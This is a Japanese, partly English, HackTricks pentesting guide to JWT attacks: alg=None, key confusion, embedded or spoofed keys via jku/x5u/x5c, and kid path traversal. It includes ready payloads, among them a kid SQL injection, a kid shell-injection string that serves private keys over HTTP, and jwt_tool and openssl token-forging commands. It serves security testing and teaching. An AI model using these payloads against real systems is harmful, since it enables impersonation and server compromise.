21 KiB
JWTの脆弱性 (Json Web Tokens)
{% hint style="success" %}
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 DiscordグループまたはTelegramグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- ハッキングのトリックを共有するために、HackTricksとHackTricks CloudのGitHubリポジトリにPRを提出してください。
ハッキングキャリアに興味があり、ハッキング不可能なものをハッキングしたい方 - 私たちは採用しています! (流暢なポーランド語の読み書きが必要です)。
{% embed url="https://www.stmcyber.com/careers" %}
この記事の一部は素晴らしい投稿に基づいています: https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
JWTをペンテストするための素晴らしいツールの作者 https://github.com/ticarpi/jwt_tool
クイックウィン
jwt_toolをAll Tests!
モードで実行し、緑のラインを待ちます。
python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"
運が良ければ、ツールはウェブアプリケーションがJWTを不正にチェックしているケースを見つけるでしょう:
その後、プロキシでリクエストを検索するか、jwt_ toolを使用してそのリクエストで使用されたJWTをダンプできます:
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
You can also use the Burp Extension SignSaboteurを使用して、BurpからJWT攻撃を実行できます。
何も変更せずにデータを改ざんする
署名をそのままにしてデータを改ざんし、サーバーが署名を確認しているかどうかをチェックできます。例えば、ユーザー名を「admin」に変更してみてください。
トークンは確認されていますか?
JWTの署名が検証されているかどうかを確認するには:
- エラーメッセージが検証中を示唆している場合;詳細なエラーに含まれる機密情報を確認する必要があります。
- 返されたページの変更も検証を示します。
- 変更がない場合は検証が行われていないことを示します;この時にペイロードの主張を改ざんする実験を行います。
起源
トークンがサーバー側で生成されたのか、クライアント側で生成されたのかを、プロキシのリクエスト履歴を調べて判断することが重要です。
- クライアント側から最初に見られたトークンは、キーがクライアント側のコードに露出している可能性があるため、さらなる調査が必要です。
- サーバー側から発生したトークンは、安全なプロセスを示します。
期間
トークンが24時間以上持続するかどうかを確認してください...もしかしたら決して期限切れにならないかもしれません。「exp」フィールドがある場合、サーバーがそれを正しく処理しているかどうかを確認してください。
HMAC秘密鍵のブルートフォース
アルゴリズムをNoneに変更する
使用するアルゴリズムを「None」に設定し、署名部分を削除します。
Burp拡張機能「JSON Web Token」を使用して、この脆弱性を試し、JWT内の異なる値を変更します(リクエストをリピーターに送信し、「JSON Web Token」タブでトークンの値を変更できます。「Alg」フィールドの値を「None」に設定することもできます)。
アルゴリズムをRS256(非対称)からHS256(対称)に変更する(CVE-2016-5431/CVE-2016-10555)
アルゴリズムHS256は、秘密鍵を使用して各メッセージに署名し、検証します。
アルゴリズムRS256は、プライベートキーを使用してメッセージに署名し、公開鍵を認証に使用します。
アルゴリズムをRS256からHS256に変更すると、バックエンドコードは公開鍵を秘密鍵として使用し、その後HS256アルゴリズムを使用して署名を検証します。
次に、公開鍵を使用し、RS256をHS256に変更することで、有効な署名を作成できます。これを実行して、ウェブサーバーの証明書を取得できます:
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
ヘッダー内の新しい公開鍵
攻撃者はトークンのヘッダーに新しい鍵を埋め込み、サーバーはこの新しい鍵を使用して署名を検証します (CVE-2018-0114)。
これは「JSON Web Tokens」Burp拡張機能を使用して行うことができます。
(リクエストをリピーターに送信し、JSON Web Tokenタブ内で「CVE-2018-0114」を選択してリクエストを送信します)。
JWKSスプーフィング
この手順は、特に「jku」ヘッダー主張を使用するJWTトークンのセキュリティを評価する方法を詳述しています。この主張は、トークンの検証に必要な公開鍵を含むJWKS(JSON Web Key Set)ファイルにリンクする必要があります。
- 「jku」ヘッダーを持つトークンの評価:
- 「jku」主張のURLを確認して、適切なJWKSファイルにリンクしていることを確認します。
- トークンの「jku」値を変更して、制御されたWebサービスに向け、トラフィックを観察できるようにします。
- HTTPインタラクションの監視:
- 指定したURLへのHTTPリクエストを観察することで、サーバーが提供されたリンクから鍵を取得しようとしていることがわかります。
- このプロセスで
jwt_tool
を使用する際は、テストを容易にするために、jwtconf.ini
ファイルを個人のJWKSの場所で更新することが重要です。 jwt_tool
のコマンド:- 次のコマンドを実行して、
jwt_tool
でシナリオをシミュレートします:
python3 jwt_tool.py JWT_HERE -X s
Kidの問題の概要
オプションのヘッダー主張であるkid
は、特定の鍵を識別するために使用され、トークン署名検証のために複数の鍵が存在する環境では特に重要です。この主張は、トークンの署名を検証するために適切な鍵を選択するのに役立ちます。
「kid」を通じて鍵を明らかにする
ヘッダーにkid
主張が存在する場合、対応するファイルまたはそのバリエーションをウェブディレクトリで検索することが推奨されます。たとえば、"kid":"key/12345"
が指定されている場合、ファイル_/key/12345_および_/key/12345.pem_をウェブルートで検索する必要があります。
「kid」を使用したパストラバーサル
kid
主張は、ファイルシステムをナビゲートするために悪用される可能性があり、任意のファイルを選択できる可能性があります。特定のファイルやサービスをターゲットにするためにkid
値を変更することで、接続性をテストしたり、サーバーサイドリクエストフォージェリ(SSRF)攻撃を実行することが可能です。元の署名を保持しながらkid
値を変更するためにJWTを改ざんすることは、以下のように-T
フラグを使用して行うことができます:
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
By targeting files with predictable content, it's possible to forge a valid JWT. For instance, the /proc/sys/kernel/randomize_va_space
file in Linux systems, known to contain the value 2, can be used in the kid
parameter with 2 as the symmetric password for JWT generation.
SQL Injection via "kid"
If the kid
claim's content is employed to fetch a password from a database, an SQL injection could be facilitated by modifying the kid
payload. An example payload that uses SQL injection to alter the JWT signing process includes:
non-existent-index' UNION SELECT 'ATTACKER';-- -
この変更により、JWT署名に既知の秘密鍵ATTACKER
が使用されることになります。
OS Injection through "kid"
A scenario where the kid
parameter specifies a file path used within a command execution context could lead to Remote Code Execution (RCE) vulnerabilities. By injecting commands into the kid
parameter, it's possible to expose private keys. An example payload for achieving RCE and key exposure is:
/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&
x5u and jku
jku
jku stands for JWK Set URL.
If the token uses a “jku” Header claim then check out the provided URL. This should point to a URL containing the JWKS file that holds the Public Key for verifying the token. Tamper the token to point the jku value to a web service you can monitor traffic for.
First you need to create a new certificate with new private & public keys
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
次に、例えば jwt.io を使用して、作成した公開鍵と秘密鍵を使用し、パラメータ jku を作成した証明書にポイントします。 有効な jku 証明書を作成するには、元の証明書をダウンロードし、必要なパラメータを変更できます。
公開証明書から "e" と "n" のパラメータを取得するには、次のようにします:
from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))
x5u
X.509 URL。PEM形式でエンコードされた一連のX.509(証明書フォーマット標準)公開証明書を指すURI。セット内の最初の証明書は、このJWTに署名するために使用されるものでなければなりません。次の証明書はそれぞれ前の証明書に署名し、証明書チェーンを完成させます。X.509はRFC 52807で定義されています。証明書を転送するには、トランスポートセキュリティが必要です。
このヘッダーをあなたの管理下にあるURLに変更して、リクエストが受信されるか確認してください。その場合、JWTを改ざんすることができるかもしれません。
あなたが制御する証明書を使用して新しいトークンを偽造するには、証明書を作成し、公開鍵と秘密鍵を抽出する必要があります:
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
その後、例えば jwt.io を使用して、作成した公開鍵と秘密鍵を使用し、パラメータ x5u を作成した .crt 証明書にポイントします。
これらの脆弱性の両方をSSRFに悪用することもできます。
x5c
このパラメータにはbase64形式の証明書が含まれる場合があります:
攻撃者が自己署名証明書を生成し、対応する秘密鍵を使用して偽造トークンを作成し、「x5c」パラメータの値を新しく生成した証明書に置き換え、他のパラメータ、つまり n、e、x5t を修正すれば、基本的に偽造トークンはサーバーによって受け入れられます。
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text
埋め込まれた公開鍵 (CVE-2018-0114)
JWTが次のシナリオのように埋め込まれた公開鍵を持っている場合:
次のnodejsスクリプトを使用すると、そのデータから公開鍵を生成することができます:
const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8";
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));
新しいプライベート/パブリックキーを生成し、新しいパブリックキーをトークン内に埋め込み、それを使用して新しい署名を生成することが可能です:
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
このnodejsスクリプトを使用して「n」と「e」を取得できます:
const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));
最終的に、公開鍵と秘密鍵、そして新しい「n」と「e」の値を使用して、jwt.ioを使って任意の情報を持つ新しい有効なJWTを偽造できます。
ES256: 同じノンスで秘密鍵を明らかにする
いくつかのアプリケーションがES256を使用し、同じノンスを使用して2つのJWTを生成する場合、秘密鍵を復元できます。
ここに例があります: ECDSA: 同じノンスを使用した場合の秘密鍵の明らかにする (SECP256k1使用)
JTI (JWT ID)
JTI (JWT ID)クレームは、JWTトークンの一意の識別子を提供します。これは、トークンの再生を防ぐために使用できます。
しかし、IDの最大長が4(0001-9999)である状況を想像してください。リクエスト0001と10001は同じIDを使用します。したがって、バックエンドが各リクエストでIDをインクリメントしている場合、これを悪用してリクエストを再生することができます(各成功した再生の間に10000リクエストを送信する必要があります)。
JWT登録クレーム
{% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %}
その他の攻撃
クロスサービスリレー攻撃
いくつかのウェブアプリケーションがトークンの生成と管理のために信頼されたJWTサービスに依存していることが観察されています。JWTサービスによって1つのクライアントのために生成されたトークンが、同じJWTサービスの別のクライアントによって受け入れられた事例が記録されています。サードパーティサービスを介してJWTの発行または更新が観察された場合、同じユーザー名/メールを使用してそのサービスの別のクライアントにアカウントを登録する可能性を調査する必要があります。その後、取得したトークンをターゲットへのリクエストで再生して受け入れられるかどうかを確認する試みを行うべきです。
- あなたのトークンが受け入れられることによって重大な問題が示される可能性があり、これにより任意のユーザーアカウントの偽装が可能になるかもしれません。ただし、サードパーティアプリケーションにサインアップする場合、より広範なテストの許可が必要になる可能性があるため、これは法的なグレーゾーンに入る可能性があります。
トークンの有効期限チェック
トークンの有効期限は「exp」ペイロードクレームを使用してチェックされます。JWTはセッション情報なしで使用されることが多いため、慎重な取り扱いが必要です。多くの場合、他のユーザーのJWTをキャプチャして再生することで、そのユーザーのなりすましが可能になることがあります。JWT RFCは、トークンの有効期限を設定するために「exp」クレームを利用してJWT再生攻撃を軽減することを推奨しています。さらに、この値の処理と期限切れトークンの拒否を確実にするために、アプリケーションによる関連チェックの実装が重要です。トークンに「exp」クレームが含まれており、テストの時間制限が許可される場合、有効期限が過ぎた後にトークンを保存して再生することが推奨されます。トークンの内容、タイムスタンプの解析と有効期限のチェック(UTCのタイムスタンプを含む)は、jwt_toolの-Rフラグを使用して読み取ることができます。
- アプリケーションがトークンをまだ検証している場合、トークンが決して期限切れにならない可能性があるため、セキュリティリスクが存在するかもしれません。
ツール
{% embed url="https://github.com/ticarpi/jwt_tool" %}
ハッキングキャリアに興味があり、ハッキング不可能なものをハックしたい方 - 私たちは採用しています! (流暢なポーランド語の読み書きが必要です)。
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する: HackTricks Training GCP Red Team Expert (GRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 DiscordグループまたはTelegramグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- ハッキングのトリックを共有するために、HackTricksとHackTricks CloudのGitHubリポジトリにPRを提出してください。